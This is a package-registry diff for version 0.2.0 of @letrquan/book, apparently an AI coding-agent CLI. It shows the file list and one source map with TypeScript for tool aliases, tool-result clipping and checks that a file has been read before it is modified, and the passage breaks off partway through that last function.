@letrquan/book 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +2504 -0
- package/LICENSE +123 -0
- package/README.md +1383 -0
- package/dist/app-MOXXWEOY.js +18945 -0
- package/dist/app-MOXXWEOY.js.map +1 -0
- package/dist/chunk-24AXE6SP.js +12 -0
- package/dist/chunk-24AXE6SP.js.map +1 -0
- package/dist/chunk-3U5IBM24.js +213 -0
- package/dist/chunk-3U5IBM24.js.map +1 -0
- package/dist/chunk-574C6MQR.js +743 -0
- package/dist/chunk-574C6MQR.js.map +1 -0
- package/dist/chunk-5GDZ22YP.js +449 -0
- package/dist/chunk-5GDZ22YP.js.map +1 -0
- package/dist/chunk-5KLVH3PY.js +167 -0
- package/dist/chunk-5KLVH3PY.js.map +1 -0
- package/dist/chunk-5RDRAO4B.js +92 -0
- package/dist/chunk-5RDRAO4B.js.map +1 -0
- package/dist/chunk-7N4J557C.js +10 -0
- package/dist/chunk-7N4J557C.js.map +1 -0
- package/dist/chunk-A7JLBK2Y.js +3506 -0
- package/dist/chunk-A7JLBK2Y.js.map +1 -0
- package/dist/chunk-ANSJPYGI.js +84 -0
- package/dist/chunk-ANSJPYGI.js.map +1 -0
- package/dist/chunk-BTZZUCLI.js +264 -0
- package/dist/chunk-BTZZUCLI.js.map +1 -0
- package/dist/chunk-C7D4NJ2D.js +217 -0
- package/dist/chunk-C7D4NJ2D.js.map +1 -0
- package/dist/chunk-CAGOB2N4.js +208 -0
- package/dist/chunk-CAGOB2N4.js.map +1 -0
- package/dist/chunk-DGMQEI6Y.js +98 -0
- package/dist/chunk-DGMQEI6Y.js.map +1 -0
- package/dist/chunk-E75IPST5.js +289 -0
- package/dist/chunk-E75IPST5.js.map +1 -0
- package/dist/chunk-EYGD6X2T.js +180 -0
- package/dist/chunk-EYGD6X2T.js.map +1 -0
- package/dist/chunk-GTVB4HEM.js +765 -0
- package/dist/chunk-GTVB4HEM.js.map +1 -0
- package/dist/chunk-J7MIZ5CA.js +1907 -0
- package/dist/chunk-J7MIZ5CA.js.map +1 -0
- package/dist/chunk-KWHQ2XXL.js +626 -0
- package/dist/chunk-KWHQ2XXL.js.map +1 -0
- package/dist/chunk-L6LK2QIQ.js +657 -0
- package/dist/chunk-L6LK2QIQ.js.map +1 -0
- package/dist/chunk-MAQXCUR4.js +1007 -0
- package/dist/chunk-MAQXCUR4.js.map +1 -0
- package/dist/chunk-S4XL7HOM.js +402 -0
- package/dist/chunk-S4XL7HOM.js.map +1 -0
- package/dist/chunk-URLQAXTR.js +60 -0
- package/dist/chunk-URLQAXTR.js.map +1 -0
- package/dist/chunk-V4BOYR52.js +3504 -0
- package/dist/chunk-V4BOYR52.js.map +1 -0
- package/dist/chunk-VZQXX3WW.js +210 -0
- package/dist/chunk-VZQXX3WW.js.map +1 -0
- package/dist/chunk-WKBO5R4O.js +34 -0
- package/dist/chunk-WKBO5R4O.js.map +1 -0
- package/dist/chunk-XIFFTATU.js +15753 -0
- package/dist/chunk-XIFFTATU.js.map +1 -0
- package/dist/command-approvals-6Y57VCWZ.js +28 -0
- package/dist/command-approvals-6Y57VCWZ.js.map +1 -0
- package/dist/context-ZC5IFEAX.js +25 -0
- package/dist/context-ZC5IFEAX.js.map +1 -0
- package/dist/hook-approvals-CTUFKEJT.js +22 -0
- package/dist/hook-approvals-CTUFKEJT.js.map +1 -0
- package/dist/index.d.ts +1 -0
- package/dist/index.js +2582 -0
- package/dist/index.js.map +1 -0
- package/dist/interactive-assets-CCAAWVKH.js +31 -0
- package/dist/interactive-assets-CCAAWVKH.js.map +1 -0
- package/dist/job-runner.d.ts +2 -0
- package/dist/job-runner.js +235 -0
- package/dist/job-runner.js.map +1 -0
- package/dist/loader-4IDS2RIE.js +15 -0
- package/dist/loader-4IDS2RIE.js.map +1 -0
- package/dist/mcp-approvals-WNPH65BK.js +18 -0
- package/dist/mcp-approvals-WNPH65BK.js.map +1 -0
- package/dist/mcp-config-YIJIES2C.js +16 -0
- package/dist/mcp-config-YIJIES2C.js.map +1 -0
- package/dist/model-window-store-YFVNXCIP.js +27 -0
- package/dist/model-window-store-YFVNXCIP.js.map +1 -0
- package/dist/openai-compatible-RHZUBHV6.js +10 -0
- package/dist/openai-compatible-RHZUBHV6.js.map +1 -0
- package/dist/permission-approvals-76PVREFD.js +14 -0
- package/dist/permission-approvals-76PVREFD.js.map +1 -0
- package/dist/permissions-CHCKTFQQ.js +28 -0
- package/dist/permissions-CHCKTFQQ.js.map +1 -0
- package/dist/sandbox-CNVAQDA7.js +23 -0
- package/dist/sandbox-CNVAQDA7.js.map +1 -0
- package/dist/scrollback-LUKLIBVI.js +136 -0
- package/dist/scrollback-LUKLIBVI.js.map +1 -0
- package/dist/sdk.d.ts +4574 -0
- package/dist/sdk.js +665 -0
- package/dist/sdk.js.map +1 -0
- package/dist/settings-loader-M2QP5TX2.js +21 -0
- package/dist/settings-loader-M2QP5TX2.js.map +1 -0
- package/dist/settings-removed-JWWPT4WA.js +19 -0
- package/dist/settings-removed-JWWPT4WA.js.map +1 -0
- package/dist/shell-selection-V6QAYXPX.js +17 -0
- package/dist/shell-selection-V6QAYXPX.js.map +1 -0
- package/package.json +143 -0
- package/patches/ink+6.8.0.patch +13 -0
- package/scripts/apply-ink-patch.mjs +29 -0
- package/scripts/ink-patch.mjs +59 -0
- package/scripts/verify-ink-patch.mjs +11 -0
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/tools/aliases.ts","../src/tools/primary-arg.ts","../src/tools/result.ts","../src/tools/tool-capabilities.ts","../src/tools/file-provenance.ts"],"sourcesContent":["/** Legacy tool-name aliases, resolved to their canonical PascalCase names. */\r\nexport const TOOL_ALIASES: Record<string, string> = {\r\n read_file: 'Read',\r\n write_file: 'Write',\r\n edit_file: 'Edit',\r\n multi_edit: 'MultiEdit',\r\n apply_patch: 'ApplyPatch',\r\n glob: 'Glob',\r\n glob_files: 'Glob',\r\n grep: 'Grep',\r\n bash: 'Bash',\r\n // Legacy snake_case git tool names — backward compatible.\r\n git_status: 'GitStatus',\r\n git_diff: 'GitDiff',\r\n git_log: 'GitLog',\r\n git_commit: 'GitCommit',\r\n git_branch: 'GitBranch',\r\n};\r\n\r\n/** Map a (possibly aliased) tool name to its canonical name for display / matching. */\r\nexport function canonicalToolName(name: string): string {\r\n return TOOL_ALIASES[name] ?? name;\r\n}\r\n","/**\r\n * Extract the primary argument from a tool call for display and rule matching.\r\n *\r\n * Priority order follows Claude Code's convention:\r\n * command → shell_id → shellId → taskId → task_id → filePath → file_path\r\n * → notebook_path → pattern → path → agent → skill → message → url → query → subject\r\n * → old_string → first string key.\r\n *\r\n * `pattern` outranks `path`: for search tools (Grep) the pattern is the\r\n * rule-matching identity, while `path` is only an optional scope.\r\n *\r\n * For command-type args, only the first line is returned.\r\n */\r\nexport function getPrimaryArg(args: Record<string, unknown>): string {\r\n if (typeof args.command === 'string') return args.command.split('\\n')[0];\r\n if (typeof args.shell_id === 'string') return args.shell_id;\r\n if (typeof args.shellId === 'string') return args.shellId;\r\n if (typeof args.taskId === 'string') return args.taskId;\r\n if (typeof args.task_id === 'string') return args.task_id;\r\n if (typeof args.filePath === 'string') return args.filePath;\r\n if (typeof args.file_path === 'string') return args.file_path;\r\n if (typeof args.patch === 'string') {\r\n const match = args.patch.match(/^\\*\\*\\* (?:Update|Add|Delete) File: (.+)$/m);\r\n if (match) return match[1].trim();\r\n }\r\n if (typeof args.notebook_path === 'string') return args.notebook_path;\r\n if (typeof args.pattern === 'string') return args.pattern;\r\n if (typeof args.path === 'string') return args.path;\r\n if (typeof args.agent === 'string') return args.agent;\r\n if (typeof args.skill === 'string') return args.skill;\r\n if (typeof args.message === 'string') return args.message;\r\n if (typeof args.url === 'string') return args.url;\r\n if (typeof args.query === 'string') return args.query;\r\n if (typeof args.subject === 'string') return args.subject;\r\n if (typeof args.old_string === 'string') return args.old_string.slice(0, 60);\r\n const keys = Object.keys(args);\r\n if (keys.length > 0) {\r\n const v = args[keys[0]];\r\n return typeof v === 'string' ? v : '';\r\n }\r\n return '';\r\n}\r\n","import { mkdir, writeFile } from 'node:fs/promises';\r\nimport { dirname, join } from 'node:path';\r\nimport type {\r\n ToolResult,\r\n ToolResultArtifacts,\r\n ToolResultError,\r\n ToolResultPresentation,\r\n ToolResultStatus,\r\n} from '../types/tools.js';\r\nimport { canonicalToolName } from './aliases.js';\r\nimport { getPrimaryArg } from './primary-arg.js';\r\nimport { isFileMutatingTool } from './tool-capabilities.js';\r\nimport { resolveBookHome } from '../book-home.js';\r\n\r\nexport const TOOL_RESULT_MAX_BYTES = 50 * 1024;\r\nconst TOOL_OUTPUT_DIRECTORY = join(resolveBookHome(), 'tool-output');\r\n\r\ninterface ToolResultOptions<TData> {\r\n toolCallId?: string;\r\n data?: TData;\r\n presentation?: Partial<ToolResultPresentation>;\r\n artifacts?: ToolResultArtifacts;\r\n pagination?: ToolResult['pagination'];\r\n}\r\n\r\ninterface LegacyToolResult {\r\n version?: 2;\r\n toolCallId: string;\r\n status?: ToolResultStatus;\r\n content?: string;\r\n output?: string;\r\n success?: boolean;\r\n data?: unknown;\r\n error?: string;\r\n structuredError?: ToolResultError;\r\n presentation?: ToolResultPresentation;\r\n metrics?: ToolResult['metrics'];\r\n artifacts?: ToolResultArtifacts;\r\n durationMs?: number;\r\n retryAttempt?: number;\r\n fileMutation?: ToolResultArtifacts['fileMutation'];\r\n fileMutations?: ToolResultArtifacts['fileMutations'];\r\n fileObservations?: ToolResultArtifacts['fileObservations'];\r\n eventRef?: string;\r\n outputPath?: string;\r\n pagination?: ToolResult['pagination'];\r\n}\r\n\r\nfunction presentationFor(\r\n content: string,\r\n override?: Partial<ToolResultPresentation>,\r\n): ToolResultPresentation {\r\n return {\r\n kind: override?.kind ?? 'text',\r\n summary: override?.summary ?? content.split('\\n')[0]?.trim() ?? '',\r\n details: override?.details ?? content,\r\n metadata: override?.metadata,\r\n target: override?.target,\r\n };\r\n}\r\n\r\nexport function toolSuccess<TData = unknown>(\r\n content: string,\r\n options: ToolResultOptions<TData> = {},\r\n): ToolResult<TData> {\r\n return {\r\n version: 2,\r\n toolCallId: options.toolCallId ?? '',\r\n status: 'success',\r\n content,\r\n data: options.data,\r\n presentation: options.presentation ? presentationFor(content, options.presentation) : undefined,\r\n artifacts: options.artifacts,\r\n pagination: options.pagination,\r\n };\r\n}\r\n\r\nexport function toolFailure(\r\n message: string,\r\n options: ToolResultOptions<unknown> & {\r\n code?: string;\r\n status?: Exclude<ToolResultStatus, 'success'>;\r\n retryable?: boolean;\r\n remediation?: string;\r\n details?: Record<string, unknown>;\r\n content?: string;\r\n } = {},\r\n): ToolResult {\r\n const error: ToolResultError = {\r\n code: options.code ?? 'tool_error',\r\n message,\r\n retryable: options.retryable ?? false,\r\n remediation: options.remediation,\r\n details: options.details,\r\n };\r\n const content = options.content ?? '';\r\n return {\r\n version: 2,\r\n toolCallId: options.toolCallId ?? '',\r\n status: options.status ?? 'error',\r\n content,\r\n data: options.data,\r\n structuredError: error,\r\n presentation: options.presentation\r\n ? presentationFor(message, {\r\n summary: message.split('\\n')[0]?.trim(),\r\n details: message,\r\n ...options.presentation,\r\n })\r\n : undefined,\r\n artifacts: options.artifacts,\r\n pagination: options.pagination,\r\n };\r\n}\r\n\r\nexport function toolResultSucceeded(result: ToolResult): boolean {\r\n return result.status === 'success';\r\n}\r\n\r\nexport function toolResultErrorMessage(result: ToolResult): string | undefined {\r\n return result.structuredError?.message;\r\n}\r\n\r\nfunction rawToolResultModelContent(result: ToolResult): string {\r\n const content = result.content;\r\n if (toolResultSucceeded(result)) return content;\r\n const remediation = result.structuredError?.remediation;\r\n const fix = remediation ? `\\nFix: ${remediation}` : '';\r\n const detail = content ? `\\n${content}` : '';\r\n return `ERROR [${result.structuredError?.code ?? result.status}]: ${toolResultErrorMessage(result) ?? 'tool failed'}${fix}${detail}`;\r\n}\r\n\r\nexport function toolResultModelContent(result: ToolResult): string {\r\n const raw = rawToolResultModelContent(result);\r\n if (Buffer.byteLength(raw) <= TOOL_RESULT_MAX_BYTES) return raw;\r\n // Reached only by callers that skipped `boundToolResultOutput`, which is\r\n // where an agent-loop result is clipped. Both places keep the tail for a\r\n // killed command, through the same helper.\r\n if (result.status === 'timed_out') {\r\n return tailPreview(\r\n rawToolResultModelContent({ ...result, content: '' }),\r\n result.content,\r\n result.artifacts?.outputPath,\r\n TOOL_RESULT_MAX_BYTES,\r\n );\r\n }\r\n return clippedOutputPreview(raw, result.artifacts?.outputPath, TOOL_RESULT_MAX_BYTES);\r\n}\r\n\r\nfunction utf8Prefix(text: string, maxBytes: number): string {\r\n if (maxBytes <= 0) return '';\r\n const bytes = Buffer.from(text);\r\n if (bytes.byteLength <= maxBytes) return text;\r\n return bytes\r\n .subarray(0, maxBytes)\r\n .toString('utf8')\r\n .replace(/\\uFFFD$/u, '');\r\n}\r\n\r\nfunction utf8Suffix(text: string, maxBytes: number): string {\r\n if (maxBytes <= 0) return '';\r\n const bytes = Buffer.from(text);\r\n if (bytes.byteLength <= maxBytes) return text;\r\n // Advance past any continuation bytes so the tail starts on a character\r\n // boundary. Cutting inside a 4-byte sequence otherwise strands three\r\n // continuation bytes, each of which decodes to its own replacement char.\r\n let start = bytes.byteLength - maxBytes;\r\n while (start < bytes.byteLength && (bytes[start] & 0xc0) === 0x80) start++;\r\n return bytes.subarray(start).toString('utf8');\r\n}\r\n\r\n/**\r\n * A killed command is judged on its most recent output — the step it was on\r\n * when the deadline hit — so truncation keeps the tail rather than the head.\r\n * Head-clipping a timed-out build returns install and compile noise and drops\r\n * the progress the timeout report exists to deliver. `head` is composed first\r\n * so the error line and its remediation always survive.\r\n */\r\nfunction tailPreview(\r\n head: string,\r\n content: string,\r\n outputPath: string | undefined,\r\n maxBytes: number,\r\n): string {\r\n const notice = outputPath\r\n ? `\\n[Earlier output truncated at ${maxBytes} bytes. Full output: ${outputPath}]\\n`\r\n : `\\n[Earlier output truncated at ${maxBytes} bytes. Full output unavailable.]\\n`;\r\n const noticeBytes = Buffer.byteLength(notice);\r\n // A head longer than the whole budget still has to be bounded; the caller\r\n // treats this return value as final and does no further clipping.\r\n if (Buffer.byteLength(head) + noticeBytes >= maxBytes) {\r\n return `${utf8Prefix(head, Math.max(0, maxBytes - noticeBytes)).trimEnd()}${notice}`;\r\n }\r\n const budget = maxBytes - Buffer.byteLength(head) - noticeBytes;\r\n return `${head}${notice}${utf8Suffix(content, budget).trimStart()}`;\r\n}\r\n\r\nfunction clippedOutputPreview(\r\n content: string,\r\n outputPath: string | undefined,\r\n maxBytes: number,\r\n): string {\r\n const notice = outputPath\r\n ? `\\n\\n[Output truncated at ${maxBytes} bytes. Full output: ${outputPath}]`\r\n : `\\n\\n[Output truncated at ${maxBytes} bytes. Full output unavailable.]`;\r\n const previewBudget = Math.max(0, maxBytes - Buffer.byteLength(notice));\r\n return `${utf8Prefix(content, previewBudget).trimEnd()}${notice}`;\r\n}\r\n\r\n/**\r\n * Bound every provider-facing tool result at the execution boundary. Complete output is stored in\r\n * Book's user-local data directory when possible, never in the tracked workspace.\r\n */\r\nexport async function boundToolResultOutput(\r\n input: ToolResult,\r\n _workspaceRoot: string,\r\n maxBytes = TOOL_RESULT_MAX_BYTES,\r\n artifactRoot = TOOL_OUTPUT_DIRECTORY,\r\n): Promise<ToolResult> {\r\n const result = normalizeToolResult(input);\r\n const modelContent = rawToolResultModelContent(result);\r\n const modelContentBytes = Buffer.byteLength(modelContent);\r\n const contentBytes = Buffer.byteLength(result.content);\r\n const details = result.presentation?.details;\r\n const detailsBytes = details === undefined ? 0 : Buffer.byteLength(details);\r\n if (modelContentBytes <= maxBytes && detailsBytes <= maxBytes) return result;\r\n\r\n let outputPath = result.artifacts?.outputPath;\r\n if (!outputPath) {\r\n const outputFile = join(artifactRoot, `${crypto.randomUUID()}.txt`);\r\n try {\r\n await mkdir(dirname(outputFile), { recursive: true });\r\n await writeFile(\r\n outputFile,\r\n detailsBytes > modelContentBytes && details ? details : modelContent,\r\n 'utf8',\r\n );\r\n outputPath = outputFile.replace(/\\\\/g, '/');\r\n } catch {\r\n // Clipping must still succeed in read-only or otherwise restricted environments.\r\n }\r\n }\r\n\r\n const modelOverflow = modelContentBytes > maxBytes;\r\n const content = toolResultSucceeded(result)\r\n ? contentBytes > maxBytes\r\n ? clippedOutputPreview(result.content, outputPath, maxBytes)\r\n : result.content\r\n : modelOverflow\r\n ? ''\r\n : result.content;\r\n const errorPrefix = `ERROR [${result.structuredError?.code ?? result.status}]: `;\r\n const errorSource = `${toolResultErrorMessage(result) ?? 'tool failed'}${result.content ? `\\n${result.content}` : ''}`;\r\n // Reserve room for the \"\\nFix: <remediation>\" line appended at render time so\r\n // the remediation survives instead of being re-clipped off the tail.\r\n const fixReserve = result.structuredError?.remediation\r\n ? Buffer.byteLength(`\\nFix: ${result.structuredError.remediation}`)\r\n : 0;\r\n const errorBudget = Math.max(1, maxBytes - Buffer.byteLength(errorPrefix) - fixReserve);\r\n const structuredError = result.structuredError\r\n ? {\r\n ...result.structuredError,\r\n message: modelOverflow\r\n ? // A killed command's output is folded into the message here, so this\r\n // is the clip that decides what the model reads. Keeping the head\r\n // hands back install and compile noise and drops the step the\r\n // command died on, which is the whole point of the report.\r\n result.status === 'timed_out'\r\n ? tailPreview(result.structuredError.message, result.content, outputPath, errorBudget)\r\n : clippedOutputPreview(errorSource, outputPath, errorBudget)\r\n : result.structuredError.message,\r\n }\r\n : result.structuredError;\r\n const clippedDetails = details\r\n ? detailsBytes > maxBytes\r\n ? // The transcript row reads the same way the model does: for a killed\r\n // command that means the tail it died on, not the head it started with.\r\n result.status === 'timed_out'\r\n ? tailPreview('', details, outputPath, maxBytes)\r\n : clippedOutputPreview(details, outputPath, maxBytes)\r\n : details\r\n : toolResultSucceeded(result)\r\n ? content\r\n : structuredError?.message;\r\n\r\n return {\r\n ...result,\r\n content,\r\n structuredError,\r\n presentation: result.presentation\r\n ? { ...result.presentation, details: clippedDetails }\r\n : result.presentation,\r\n artifacts: outputPath ? { ...result.artifacts, outputPath } : result.artifacts,\r\n pagination: {\r\n ...result.pagination,\r\n truncated: true,\r\n omittedBytes: Math.max(\r\n result.pagination?.omittedBytes ?? 0,\r\n Math.max(modelContentBytes, contentBytes, detailsBytes) - maxBytes,\r\n ),\r\n },\r\n };\r\n}\r\n\r\nexport function replaceToolResult(\r\n result: ToolResult,\r\n patch: {\r\n status?: ToolResultStatus;\r\n content?: string;\r\n error?: ToolResultError;\r\n presentation?: Partial<ToolResultPresentation>;\r\n },\r\n): ToolResult {\r\n const status = patch.status ?? result.status;\r\n const content = patch.content ?? result.content;\r\n return {\r\n ...result,\r\n status,\r\n content,\r\n structuredError: patch.error ?? (status === 'success' ? undefined : result.structuredError),\r\n presentation:\r\n result.presentation || patch.presentation\r\n ? presentationFor(content, {\r\n ...result.presentation,\r\n ...patch.presentation,\r\n })\r\n : undefined,\r\n };\r\n}\r\n\r\n/** Upgrade persisted pre-V2 results while keeping the runtime and SDK contract V2-only. */\r\nexport function normalizeToolResult(result: ToolResult | LegacyToolResult): ToolResult {\r\n const legacy = result as LegacyToolResult;\r\n const legacySuccess = legacy.success;\r\n const legacyError = typeof legacy.error === 'string' ? legacy.error : undefined;\r\n const status: ToolResultStatus = result.status\r\n ? result.status\r\n : legacySuccess\r\n ? 'success'\r\n : legacyError?.startsWith('SKIPPED')\r\n ? 'blocked'\r\n : legacyError?.startsWith('CANCELLED')\r\n ? 'cancelled'\r\n : legacyError?.startsWith('Tool timeout')\r\n ? 'timed_out'\r\n : 'error';\r\n const content = result.content ?? legacy.output ?? '';\r\n const error =\r\n status === 'success'\r\n ? undefined\r\n : {\r\n ...(result.structuredError ?? {}),\r\n code: result.structuredError?.code ?? (status === 'blocked' ? 'blocked' : status),\r\n message: legacyError ?? result.structuredError?.message ?? 'Tool failed',\r\n retryable: result.structuredError?.retryable ?? status === 'timed_out',\r\n };\r\n const artifacts: ToolResultArtifacts | undefined =\r\n result.artifacts ??\r\n (legacy.fileMutation ||\r\n legacy.fileMutations ||\r\n legacy.fileObservations ||\r\n legacy.eventRef ||\r\n legacy.outputPath\r\n ? {\r\n fileMutation: legacy.fileMutation,\r\n fileMutations: legacy.fileMutations,\r\n fileObservations: legacy.fileObservations,\r\n eventRef: legacy.eventRef,\r\n outputPath: legacy.outputPath,\r\n }\r\n : undefined);\r\n const metrics =\r\n result.metrics ??\r\n (legacy.durationMs !== undefined || legacy.retryAttempt !== undefined\r\n ? { durationMs: legacy.durationMs, retryAttempt: legacy.retryAttempt }\r\n : undefined);\r\n return {\r\n version: 2,\r\n toolCallId: result.toolCallId,\r\n status,\r\n content,\r\n data: result.data,\r\n structuredError: error,\r\n presentation: result.presentation,\r\n artifacts,\r\n metrics,\r\n pagination: result.pagination,\r\n };\r\n}\r\n\r\nfunction nonEmptyLines(content: string): number {\r\n return content.split('\\n').filter((line) => line.trim()).length;\r\n}\r\n\r\n/** Attach stable UI data while execution still has the tool name and arguments. */\r\nexport function enrichToolResultPresentation(\r\n input: ToolResult,\r\n toolName: string,\r\n args: Record<string, unknown>,\r\n): ToolResult {\r\n const result = normalizeToolResult(input);\r\n const name = canonicalToolName(toolName);\r\n const content = result.content;\r\n const explicitPresentation = result.presentation;\r\n const target = explicitPresentation?.target ?? (getPrimaryArg(args) || undefined);\r\n const metadata: string[] = explicitPresentation?.metadata\r\n ? [...explicitPresentation.metadata]\r\n : [];\r\n const inferKind = explicitPresentation?.kind === undefined;\r\n const inferSummary = explicitPresentation?.summary === undefined;\r\n const inferMetadata = explicitPresentation?.metadata === undefined;\r\n let kind: ToolResultPresentation['kind'] = explicitPresentation?.kind ?? 'text';\r\n let summary = explicitPresentation?.summary ?? content.split('\\n')[0]?.trim() ?? '';\r\n\r\n if (isFileMutatingTool(name)) {\r\n if (inferKind) {\r\n kind = result.artifacts?.fileMutation ? 'file' : /^@@/m.test(content) ? 'diff' : 'file';\r\n }\r\n const mutation = result.artifacts?.fileMutation ?? result.artifacts?.fileMutations?.[0];\r\n if (mutation) {\r\n if (inferMetadata) {\r\n if (mutation.addedLines) metadata.push(`+${mutation.addedLines}`);\r\n if (mutation.removedLines) metadata.push(`-${mutation.removedLines}`);\r\n if (!mutation.addedLines && !mutation.removedLines) metadata.push('no changes');\r\n }\r\n if (inferSummary) {\r\n summary = `${mutation.kind === 'create' ? 'Created' : mutation.kind === 'delete' ? 'Deleted' : 'Updated'} ${mutation.filePath}`;\r\n }\r\n }\r\n } else if (name === 'Read') {\r\n if (inferKind) kind = 'file';\r\n const lines = content ? content.split('\\n').length : 0;\r\n if (inferMetadata) metadata.push(lines === 1 ? '1 line' : `${lines} lines`);\r\n if (inferSummary) summary = target ? `Read ${target}` : summary;\r\n } else if (name === 'Glob') {\r\n if (inferKind) kind = 'search';\r\n const count = /^(?:No files found|No matches found)$/i.test(content.trim())\r\n ? 0\r\n : nonEmptyLines(content.replace(/\\n\\.\\.\\. \\(truncated[\\s\\S]*$/, ''));\r\n if (inferMetadata) metadata.push(`${count} ${count === 1 ? 'file' : 'files'}`);\r\n if (inferSummary) summary = `Found ${count} ${count === 1 ? 'file' : 'files'}`;\r\n } else if (name === 'Grep') {\r\n if (inferKind) kind = 'search';\r\n const count = /^No matches found$/i.test(content.trim())\r\n ? 0\r\n : content.split('\\n').filter((line) => /:\\d+:/.test(line)).length || nonEmptyLines(content);\r\n if (inferMetadata) metadata.push(`${count} ${count === 1 ? 'match' : 'matches'}`);\r\n if (inferSummary) summary = `Found ${count} ${count === 1 ? 'match' : 'matches'}`;\r\n } else if (name === 'Bash' || name === 'BashOutput' || name === 'KillShell') {\r\n if (inferKind) kind = 'command';\r\n if (inferSummary) summary = target ? `${name}: ${target}` : summary;\r\n } else if (name === 'GitDiff') {\r\n if (inferKind) kind = 'diff';\r\n } else if (name.startsWith('Web') || name === 'ToolSearch' || name.startsWith('SessionHistory')) {\r\n if (inferKind) kind = name === 'ToolSearch' ? 'search' : 'markdown';\r\n } else if (name.startsWith('Task') || name === 'TodoWrite') {\r\n if (inferKind) kind = 'task';\r\n } else if (name.startsWith('Agent') || name.startsWith('Evidence')) {\r\n if (inferKind) kind = 'agent';\r\n }\r\n\r\n return {\r\n ...result,\r\n presentation: {\r\n kind,\r\n summary,\r\n details: explicitPresentation?.details ?? content,\r\n metadata,\r\n target: explicitPresentation?.target ?? result.artifacts?.fileMutation?.filePath ?? target,\r\n },\r\n };\r\n}\r\n","export const FILE_MUTATING_TOOLS = new Set([\r\n 'ApplyPatch',\r\n 'Write',\r\n 'Edit',\r\n 'MultiEdit',\r\n 'NotebookEdit',\r\n]);\r\n\r\nexport function isFileMutatingTool(canonicalName: string): boolean {\r\n return FILE_MUTATING_TOOLS.has(canonicalName);\r\n}\r\n","import { createHash } from 'crypto';\r\nimport { readFile, stat } from 'fs/promises';\r\nimport { normalize, relative, resolve } from 'path';\r\nimport type {\r\n FileObservation,\r\n FileObservationOperation,\r\n ToolContext,\r\n ToolResult,\r\n} from '../types/tools.js';\r\nimport { toolFailure } from './result.js';\r\n\r\nexport function workspaceIdentity(workspaceRoot: string): string {\r\n const root = normalize(resolve(workspaceRoot));\r\n const stable = process.platform === 'win32' ? root.toLowerCase() : root;\r\n return createHash('sha256').update(stable).digest('hex').slice(0, 24);\r\n}\r\n\r\nexport function observationKey(workspaceId: string, path: string): string {\r\n const normalized = path.replace(/\\\\/g, '/');\r\n // Case-insensitive filesystems (Windows) must key differently-cased spellings\r\n // of the same file identically, mirroring workspaceIdentity's root folding.\r\n return `${workspaceId}:${process.platform === 'win32' ? normalized.toLowerCase() : normalized}`;\r\n}\r\n\r\nexport async function observeFile(\r\n ctx: ToolContext,\r\n absolutePath: string,\r\n operation: FileObservationOperation,\r\n coverage?: { lineStart?: number; lineEnd?: number },\r\n): Promise<FileObservation> {\r\n const bytes = await readFile(absolutePath);\r\n const workspaceId = workspaceIdentity(ctx.workspaceRoot);\r\n const path = relative(resolve(ctx.workspaceRoot), absolutePath).replace(/\\\\/g, '/');\r\n const observation: FileObservation = {\r\n path,\r\n workspaceId,\r\n sha256: createHash('sha256').update(bytes).digest('hex'),\r\n byteSize: bytes.byteLength,\r\n lineStart: coverage?.lineStart,\r\n lineEnd: coverage?.lineEnd,\r\n operation,\r\n sourceRef: ctx.currentToolTraceId ?? 'runtime-tool',\r\n timestamp: Date.now(),\r\n };\r\n ctx.fileObservationLedger?.set(observationKey(workspaceId, path), observation);\r\n return observation;\r\n}\r\n\r\nexport async function requireFreshObservation(\r\n ctx: ToolContext,\r\n absolutePath: string,\r\n relativePath: string,\r\n): Promise<string | undefined> {\r\n const workspaceId = workspaceIdentity(ctx.workspaceRoot);\r\n const normalizedPath = relativePath.replace(/\\\\/g, '/');\r\n const remembered = ctx.fileObservationLedger?.get(observationKey(workspaceId, normalizedPath));\r\n if (!remembered) return undefined;\r\n try {\r\n const info = await stat(absolutePath);\r\n if (!info.isFile()) return staleMessage(normalizedPath);\r\n const bytes = await readFile(absolutePath);\r\n const currentHash = createHash('sha256').update(bytes).digest('hex');\r\n return currentHash === remembered.sha256 ? undefined : staleMessage(normalizedPath);\r\n } catch {\r\n return staleMessage(normalizedPath);\r\n }\r\n}\r\n\r\nfunction staleMessage(path: string): string {\r\n return `SKIPPED: ${path} changed or disappeared since it was last shown to the model. Call Read (or mention the file again) before modifying it.`;\r\n}\r\n\r\n/**\r\n * Require that the file was observed this session (Read, mention, or a prior\r\n * mutation) before it may be mutated. Contexts without an observation ledger\r\n * (bare harnesses, low-level embedding) are exempt. Returns a ready ToolResult\r\n * failure so every mutating tool reports the same code and remediation.\r\n */\r\nexport function requireObservationForMutation(\r\n ctx: ToolContext,\r\n relativePath: string,\r\n retryVerb: string,\r\n): ToolResult | undefined {\r\n const ledger = ctx.fileObservationLedger;\r\n if (!ledger) return undefined;\r\n const workspaceId = workspaceIdentity(ctx.workspaceRoot);\r\n const normalizedPath = relativePath.replace(/\\\\/g, '/');\r\n if (ledger.has(observationKey(workspaceId, normalizedPath))) return undefined;\r\n return toolFailure(\r\n `SKIPPED: ${normalizedPath} has not been read in this session. Call Read (or mention the file) before modifying it.`,\r\n {\r\n code: 'file_not_observed',\r\n remediation: `Read the file first, then retry the ${retryVerb}.`,\r\n },\r\n 